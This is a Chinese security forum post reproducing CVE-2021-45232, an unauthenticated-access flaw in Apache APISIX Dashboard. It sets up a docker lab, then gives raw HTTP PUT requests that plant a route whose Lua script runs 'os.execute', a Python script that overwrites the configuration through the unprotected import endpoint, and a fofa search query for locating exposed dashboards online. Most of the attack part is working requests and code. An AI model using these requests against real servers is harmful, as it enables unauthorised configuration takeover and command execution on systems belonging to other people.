[原创]Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232-WEB安全-看雪-安全社区|安全招聘|kanxue.com

[原创]Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

发表于: 2022-1-7 19:14 4124

[原创]Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

UzJu

2022-1-7 19:14

4124

Autor: UzJu

Email: uzjuer@163.com

使用docker搭建环境

https://github.com/apache/apisix-docker

修改docker-compose.yml为2.7即可

默认账号密码为admin:admin

然后在上游服务选择，我们新建的上游

获取/apisix/admin/migrate/export

构造一个Payload

这里有两个地方需要注意，第一就是URL后面routes/后的数字是来自export中的路由ID

而下面的upstreamid是来自export中的上游ID，如果填错会报找不到upstream_id，然后需要把新的覆盖一下

某大佬发了一个文章给我，那里要用go写一个什么CRC的校验啥的，这里的话其实直接访问export就可以了，会自动下载一个bak文件

我们需要直接浏览器访问http://ip:9000/apisix/admin/migrate/export，随后会下载一个名为apisix-config.bak的文件

然后发送请求覆盖

Ps: 上面写了proxies是因为想把流量给到burp，更好的看清楚请求

随后在路由的地方查看一下，发现成功覆盖了

看看burp接收到的请求

然后访问ip:9080/UzJu

随后进入docker查看

最开始的POC编写思路，比较简单，既然是没做鉴权，那直接请求export然后判断返回的东西或者返回值是不是200不就可以了，先不考虑后续利用

/apisix/admin/migrate/export

/apisix/admin/migrate/import

然后fofa随便找一些站点，搜索语法为

title="Apache APISIX Dashboard"

本文内容仅用于技术交流，不存在所谓未公开POC，文中未进行打码处理的，全是已公开的POC或利用方式。

一、环境搭建
1、首先添加一个上游
2、添加一个路由
二、漏洞复现
三、POC编写
四、免责声明

PUT /apisix/admin/routes/387864323462005443 HTTP/1.1

Host: ip:9000

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://106.52.5.116:9000/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: -http-session-=1::http.session::e36a9dc03600ce92c8daf29b6a25f5a2
Connection: close

Content-Length: 248
 
{"uris":["/rce"],"methods":["GET","POST","PUT","DELETE",

"HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce","status":1,"labels":{},"script":"os.execute('touch /tmp/UzJu')",

"upstream_id":"387864007731577539"}

PUT /apisix/admin/routes/387864323462005443 HTTP/1.1

Host: ip:9000

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://106.52.5.116:9000/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: -http-session-=1::http.session::e36a9dc03600ce92c8daf29b6a25f5a2

Connection: close

Content-Length: 248

{"uris":["/rce"],"methods":["GET","POST","PUT","DELETE",

"HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce","status":1,"labels":{},"script":"os.execute('touch /tmp/UzJu')",

"upstream_id":"387864007731577539"}

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project ：UzJuSecurityTools 
@File    ：test.py
@Author  ：UzJu
@Date    ：2021/12/29 12:24 上午 
@Email   ：UzJuer@163.com
'''

import httpx

import requests
 

target = "http://ip:9000"

url = target + "/apisix/admin/migrate/import"

files = {'file': open('./apisix-config.bak', 'rb')}

r = httpx.post(url, data={"mode": "overwrite"}, files=files, proxies="http://127.0.0.1:8080") 

print(r.status_code)

print(r.content)